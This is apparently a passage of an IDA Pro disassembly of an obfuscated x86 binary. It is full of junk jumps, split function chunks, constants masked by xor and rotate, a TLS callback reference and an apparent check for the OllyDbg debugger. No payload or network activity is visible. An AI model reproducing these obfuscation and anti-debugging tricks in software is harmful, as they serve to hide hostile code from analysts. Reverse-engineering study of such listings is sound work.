; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_426615:				; CODE XREF: sub_429471-4608j
		jns	loc_424CE3


loc_42661B:				; CODE XREF: sub_429471:loc_42DAC5j
		push	edx
		push	2ADB72EEh
		pop	edx
		xor	edx, ds:4000FAh
		jmp	loc_4268AA
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
		pop	edx
		sub	ebp, ecx
		jmp	sub_42903A
; ---------------------------------------------------------------------------


loc_426635:				; CODE XREF: wto1jq8f:loc_42AF6Ej
		pop	eax
		pop	edi


loc_426637:				; CODE XREF: wto1jq8f:00428153j
		xor	eax, ecx
		jnz	loc_429C31
		jmp	loc_42CBC6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_426645:				; CODE XREF: wto1jq8f:0042AB2Aj
		jnb	loc_429C5F


loc_42664B:				; CODE XREF: wto1jq8f:loc_424EA8j
		call	sub_42ED32
		test	eax, eax
		jz	loc_42EF2E
		push	esi
		call	sub_42DF3B


loc_42665E:				; CODE XREF: wto1jq8f:0042AA3Fj
		jmp	sub_425ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_426663:				; CODE XREF: sub_42727F:loc_42EAB0j
		cmp	ebx, 0ED3A1076h
		jmp	loc_42DB7B
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------


loc_42666E:				; DATA XREF: sub_42885C+6o
		or	eax, eax
		jnz	loc_42BC8F
		push	ebp
		push	esi
		jmp	loc_42B836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42667D:				; CODE XREF: sub_42D434+15Cj
		cmp	byte ptr [eax],	0
		jnz	loc_42F001
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		jmp	loc_42724C
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------


loc_426693:				; CODE XREF: wto1jq8f:loc_42FA89j
		jz	loc_427CDE
		jmp	loc_42806D

; =============== S U B	R O U T	I N E =======================================



sub_42669E	proc near		; CODE XREF: wto1jq8f:0042BEEAj
					; wto1jq8f:loc_42E4C0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00426133 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426706 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00428A9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E88E SIZE 0000001C BYTES

		mov	[esp+0], eax
		pop	eax
		xchg	esi, [esp-4+arg_0]
		push	edx
		push	5B8EDFAEh
		pop	edx
		jmp	loc_428A9F
sub_42669E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266B1	proc near		; CODE XREF: sub_42C486:loc_42F839p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004259AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425C9C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425CF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042709B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428730 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428B74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F32 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429BEC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042A64D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AB18 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042ABA0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B1FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B285 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C0CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C470 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C7A4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042E1CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042EFBE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042FD66 SIZE 00000018 BYTES

		mov	[esp+0], eax
		call	sub_42B02D
		mov	ds:dword_42D5CC, eax
		cmp	ds:dword_42D5CC, 0
		jmp	loc_42709B
sub_4266B1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266CA	proc near		; CODE XREF: wto1jq8f:00429021j
					; DATA XREF: wto1jq8f:00424315o

arg_8		= dword	ptr  0Ch

		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_42F33C
		push	offset loc_42F332
		jmp	nullsub_206
sub_4266CA	endp

; ---------------------------------------------------------------------------
		db 0E8h, 0D6h, 65h
		dd 0E1E90000h
		db 0C5h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_4266EF	proc near		; CODE XREF: wto1jq8f:loc_42995Fj
					; TlsCallback_0+21D2p ...

var_44		= dword	ptr -44h

; FUNCTION CHUNK AT 0042BEC6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042C6AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E1A2 SIZE 00000011 BYTES

		jno	sub_425AAA
		push	ebp


loc_4266F6:				; CODE XREF: wto1jq8f:0042C7F6j
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		lea	eax, sub_4266EF
		jmp	loc_42E1A2
sub_4266EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42669E


loc_426706:				; CODE XREF: sub_42669E-55Fj
					; sub_42669E:loc_42E89Fj
		mov	ecx, [ebp-1Ch]
		push	edx
		call	sub_42F745
; END OF FUNCTION CHUNK	FOR sub_42669E
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42670F:				; CODE XREF: sub_429B76:loc_42F175j
		jmp	loc_42D778
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_426714:				; CODE XREF: sub_427A8D-369Dj
		jmp	loc_42E92E
; END OF FUNCTION CHUNK	FOR sub_427A8D

; =============== S U B	R O U T	I N E =======================================



sub_426719	proc near		; CODE XREF: sub_426E98+3Fp

; FUNCTION CHUNK AT 00425FA6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B97A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F37E SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	40h
		lea	eax, [ebp-64h]
		push	eax
		push	400000h
		jmp	loc_42F37E
sub_426719	endp

; ---------------------------------------------------------------------------


loc_42672F:				; CODE XREF: wto1jq8f:loc_42C851j
					; wto1jq8f:0042D27Ej
		test	ebx, 81BB3D31h
		jmp	loc_42B319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42673A:				; CODE XREF: sub_42AECE:loc_42D4B5j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E524
		or	eax, eax
		jnz	loc_428D0B
		jmp	loc_42FACA
; END OF FUNCTION CHUNK	FOR sub_42AECE

; =============== S U B	R O U T	I N E =======================================



sub_426750	proc near		; DATA XREF: sub_424BD4+2D6Ao
		mov	[edx-8], eax
		jmp	loc_42AC2F
sub_426750	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_426758:				; CODE XREF: sub_424BD4+3994j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_42AC2F
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_427041
; END OF FUNCTION CHUNK	FOR sub_424BD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42676E:				; CODE XREF: sub_42D9D9-3C3Fj
					; sub_42D9D9+18j
		cmp	dword ptr [ebp-1Ch], 67h
		jnz	loc_42699F
		jmp	loc_4280BA
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42677D:				; CODE XREF: sub_426535+6D42j
		rol	esi, 1
		add	esi, 3F005094h
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_426FF5
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_42678D:				; CODE XREF: sub_42FBC7-95FDj
		add	edx, ebp
		call	sub_429308


loc_426794:				; CODE XREF: wto1jq8f:0042C5F1j
					; wto1jq8f:loc_42FF95j
		sbb	eax, ecx
		jmp	loc_427C02
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42679C:				; CODE XREF: sub_42F614-A850j
		jmp	loc_424491
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
		jnb	loc_428FF1
		add	esi, eax
		jmp	sub_42C4CF

; =============== S U B	R O U T	I N E =======================================



sub_4267AE	proc near		; CODE XREF: wto1jq8f:0042C010j
					; wto1jq8f:0042D6F4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425A78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C6B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042B090 SIZE 00000006 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_424183
		jmp	loc_425A78
sub_4267AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_4267C4:				; CODE XREF: sub_42F50F-7AC7j
					; wto1jq8f:0042CB31j ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		xchg	eax, [esp+0]
		mov	ebp, eax
		jmp	loc_42A0FB
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_4267D3:				; CODE XREF: sub_42ED01:loc_42D0D3j
		and	ecx, ebx
		sbb	eax, edx
		call	sub_42F9CA


loc_4267DC:				; CODE XREF: wto1jq8f:0042FDCFj
		jmp	sub_428C71
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F072


loc_4267E1:				; CODE XREF: sub_42F072+Bj
		jmp	loc_427986
; END OF FUNCTION CHUNK	FOR sub_42F072
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_4267E6:				; CODE XREF: sub_42CB36-8467j
		rol	ebp, 0Bh


loc_4267E9:				; CODE XREF: sub_42E9E8:loc_42F5B8j
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB
		jmp	loc_42FB6C
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------


loc_426800:				; CODE XREF: wto1jq8f:0042BEE1j
		jno	loc_42B2AC

; =============== S U B	R O U T	I N E =======================================



sub_426806	proc near		; CODE XREF: wto1jq8f:0042BBFDp

; FUNCTION CHUNK AT 00424EBE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425E30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427997 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042EE90 SIZE 00000019 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_425933
sub_426806	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_426818:				; CODE XREF: wto1jq8f:loc_42CC24j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jmp	loc_427456
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_426821:				; CODE XREF: sub_42F2C7:loc_425FB9j
		jno	loc_42752D
		xor	edi, 8D0DD2A6h
		jmp	loc_42EBF4
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
		mov	edi, 6DE295FBh
		xor	esi, 5523EB52h
		jmp	loc_42F305

; =============== S U B	R O U T	I N E =======================================



sub_426842	proc near		; CODE XREF: sub_42750A-1D3j

; FUNCTION CHUNK AT 00429700 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00429EE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C71D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042FF2F SIZE 00000012 BYTES

		push	ebx
		js	loc_42C71D
sub_426842	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42750A


loc_426849:				; CODE XREF: sub_42750A:loc_427CF5j
		call	sub_424585
		push	6CA2BEBDh
		pop	edx
		sub	edx, 79F1AC7h
		xor	edx, 0B0077473h
		jmp	loc_4246A4
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------
		jb	loc_42EC03
		jmp	sub_42B63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_426870:				; CODE XREF: sub_42506F+A2A5j
		add	eax, ebp
		add	eax, 461F74B4h
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_42B7AD
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------


loc_426881:				; DATA XREF: sub_42DE65:loc_42BA12o
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_425108[eax*4],	0
		jz	loc_42A4DF
; START	OF FUNCTION CHUNK FOR sub_426535


loc_426895:				; CODE XREF: sub_426535:loc_42432Aj
		jmp	loc_428D94
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_42689A	proc near		; CODE XREF: wto1jq8f:00427BCAj
					; wto1jq8f:0042FD48p

; FUNCTION CHUNK AT 00424538 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427CC9 SIZE 0000000A BYTES

		mov	[esp+0], edi
		pop	edi
		mov	ecx, 3F5h
		xor	edx, edx
		jmp	loc_424538
sub_42689A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_4268AA:				; CODE XREF: sub_429471-2E49j
		test	edx, 4
		jmp	loc_424881
; END OF FUNCTION CHUNK	FOR sub_429471
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EADC


loc_4268B6:				; CODE XREF: sub_42EADC+17Dj
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_42EADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_4268BB:				; CODE XREF: sub_426313+7944j
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_426313
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BF9


loc_4268C1:				; CODE XREF: sub_424BF9+2A0Fj
		jmp	loc_42C114
; END OF FUNCTION CHUNK	FOR sub_424BF9
; ---------------------------------------------------------------------------


loc_4268C6:				; CODE XREF: wto1jq8f:loc_42BF30j
		push	8BBDD8Bh
		pop	esi
		rol	esi, 0Ah
		cmp	esi, 0A68E41Eh
		jmp	loc_424241
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_4268DA:				; CODE XREF: sub_42750A:loc_4246A4j
		call	sub_429165
		push	0EBCD2075h
		mov	[esp+4+var_4], eax
		rol	eax, 6
		mov	ds:dword_429578, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4268F1:				; CODE XREF: sub_42750A+23CCj
					; sub_426535+5886j
		ror	eax, 6
		push	eax
		jmp	loc_429570
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		push	5B8D1A61h
		mov	edx, offset loc_426908
		xchg	edx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_426908:				; DATA XREF: wto1jq8f:004268FFo
		sub	edx, 68EF4F45h
		add	edx, 9A969FDFh
		jmp	loc_427E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424232


loc_426919:				; CODE XREF: sub_424232:loc_42D5F4j
		mov	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_424232
; START	OF FUNCTION CHUNK FOR sub_424702


loc_42691C:				; CODE XREF: sub_424702+Dj
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_42A73C
		jmp	loc_42A945
; END OF FUNCTION CHUNK	FOR sub_424702
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_426931:				; CODE XREF: sub_42FAE4-B148j
					; sub_42E9E8-5204j
		jmp	loc_425C4D
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_426936:				; CODE XREF: sub_42CF89-8846j
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_42CF89

; =============== S U B	R O U T	I N E =======================================



sub_42693B	proc near		; CODE XREF: wto1jq8f:loc_42BFF5j
					; sub_42A88D+4DEEp
		mov	[esp+0], eax
		pop	eax
		pop	ebx
		retn
sub_42693B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_426941:				; CODE XREF: sub_428AC6+44E8j
		jmp	loc_42BFFA
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_426946:				; CODE XREF: sub_424406+Cj
		jmp	loc_4291F5
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424309


loc_42694B:				; CODE XREF: sub_424309+7j
		jmp	loc_424DB7
; END OF FUNCTION CHUNK	FOR sub_424309

; =============== S U B	R O U T	I N E =======================================



sub_426950	proc near		; CODE XREF: sub_42596Fj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004248CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004263E7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427D8B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004281A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428484 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004296E9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A5F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AD8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B69D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BB0D SIZE 00000005 BYTES

		push	ebp
		jmp	loc_4296E9
sub_426950	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


loc_426956:				; CODE XREF: sub_42A197:loc_426E93j
					; wto1jq8f:00427D2Bj
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_4260F3
		jmp	loc_42AA89
; END OF FUNCTION CHUNK	FOR sub_42A197

; =============== S U B	R O U T	I N E =======================================



sub_426968	proc near		; CODE XREF: sub_42B12A+Dp
					; wto1jq8f:0042C718j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424BC5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424D53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424ED3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00424FD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426121 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004264A3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004264CE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004264EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B0A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426DC5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427383 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004275CC SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042779D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427D52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427D9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004280CC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428B9A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428C1B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042958D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004295FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429792 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429EE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB09 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AC2F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042B141 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B50C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042B5AF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B7DC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C538 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC0F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D855 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042DF1A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042DFB1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042E20D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E3EA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042E910 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042ED27 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EDAE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FB2A SIZE 00000005 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42AC2F
		cmp	dword ptr [ebp-0Ch], 5
		jmp	loc_4295FE
sub_426968	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_426985:				; CODE XREF: sub_4272F3+2E6Fj
		mov	eax, [eax+68h]
		push	ecx
		push	7F84C7A9h
		pop	ecx
		jmp	loc_425A1B
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_426994:				; CODE XREF: sub_42D9D9:loc_424B66j
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax


loc_42699F:				; CODE XREF: sub_42D9D9-7267j
					; sub_42D9D9-3C48j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		jmp	loc_426E8E
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------


loc_4269AA:				; CODE XREF: wto1jq8f:0042603Ej
		js	loc_42E63A
		and	ebp, edi


loc_4269B2:				; CODE XREF: wto1jq8f:loc_42602Aj
		add	eax, 0B7E3BF3Dh
		xchg	eax, [esp]
		jmp	loc_42D4DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_4269C1:				; CODE XREF: sub_429B76-7D7j
		jmp	sub_42CB36
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_4269C6:				; CODE XREF: sub_42F614-764Cj
		jmp	loc_42E887
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------


loc_4269CB:				; CODE XREF: wto1jq8f:0042DD44j
		or	edi, 0C469D1CCh

; =============== S U B	R O U T	I N E =======================================



sub_4269D1	proc near		; CODE XREF: sub_429B76:loc_42E2E6p
		mov	[esp+0], ebx
		pop	ebx
		call	sub_4269EF
		retn
sub_4269D1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E83D


loc_4269DB:				; CODE XREF: sub_42E83D-2478j
		jmp	loc_42C608
; END OF FUNCTION CHUNK	FOR sub_42E83D
; ---------------------------------------------------------------------------


loc_4269E0:				; CODE XREF: wto1jq8f:0042AB9Bj
		jmp	locret_42AD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F23


loc_4269E5:				; CODE XREF: sub_424F23+147Ej
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_424F23
; ---------------------------------------------------------------------------


loc_4269EA:				; CODE XREF: wto1jq8f:00424C0Bj
		jmp	loc_4283DC

; =============== S U B	R O U T	I N E =======================================



sub_4269EF	proc near		; CODE XREF: sub_4269D1+4p

; FUNCTION CHUNK AT 0042E7DF SIZE 00000005 BYTES

		push	ebp
		push	offset loc_4286EC
		jmp	loc_42E7DF
sub_4269EF	endp

; ---------------------------------------------------------------------------


loc_4269FA:				; CODE XREF: wto1jq8f:00427235j
		shl	esi, 15h

; =============== S U B	R O U T	I N E =======================================



sub_4269FD	proc near		; CODE XREF: sub_427A8D+46CBp

; FUNCTION CHUNK AT 0042A717 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E58E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042E765 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F714 SIZE 00000004 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	eax, eax
		jnz	loc_42E58E
		jmp	loc_42E765
sub_4269FD	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_426A0F:				; CODE XREF: sub_429D2E+5AA8j
		jmp	sub_4281DD
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293C8


loc_426A14:				; CODE XREF: sub_4293C8+Cj
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_4293C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_426A19:				; CODE XREF: sub_42E9E8-767Fj
					; sub_42E9E8:loc_42A642j
		cmp	dword ptr [ebp-1C8h], 2B584245h
		jnz	loc_428BE9
		jmp	loc_428802
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_426A2E:				; CODE XREF: wto1jq8f:00427C5Fj
		or	ebp, ebx
		mov	[ebp+0], eax
; START	OF FUNCTION CHUNK FOR sub_429459


loc_426A33:				; CODE XREF: sub_429459:loc_42C187j
		add	eax, 40535662h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_427F44
		jmp	loc_425EB4
; END OF FUNCTION CHUNK	FOR sub_429459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42433B


loc_426A48:				; CODE XREF: sub_426C0C:loc_42C49Bj
					; sub_42433B+88CFj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42433B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_426A4A:				; CODE XREF: sub_42506F+9190j
					; sub_42716A+7314j
		jmp	loc_42A843
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------


loc_426A4F:				; CODE XREF: wto1jq8f:004261D8j
		jmp	loc_427E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42433B


loc_426A54:				; CODE XREF: sub_42433B+4j
					; sub_42CBEE+Aj
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_42CC05
; END OF FUNCTION CHUNK	FOR sub_42433B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_426A5E:				; CODE XREF: sub_42CB63+8j
		test	byte ptr [ebp-8], 8
		jmp	loc_4248B8
; END OF FUNCTION CHUNK	FOR sub_42CB63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_426A67:				; CODE XREF: sub_426C0C:loc_424E1Ej
		jz	loc_42EB43
		jmp	loc_42CAD8
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E961


loc_426A72:				; CODE XREF: sub_42E961-A494j
		adc	edx, [esp+8+var_4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_42F1F4
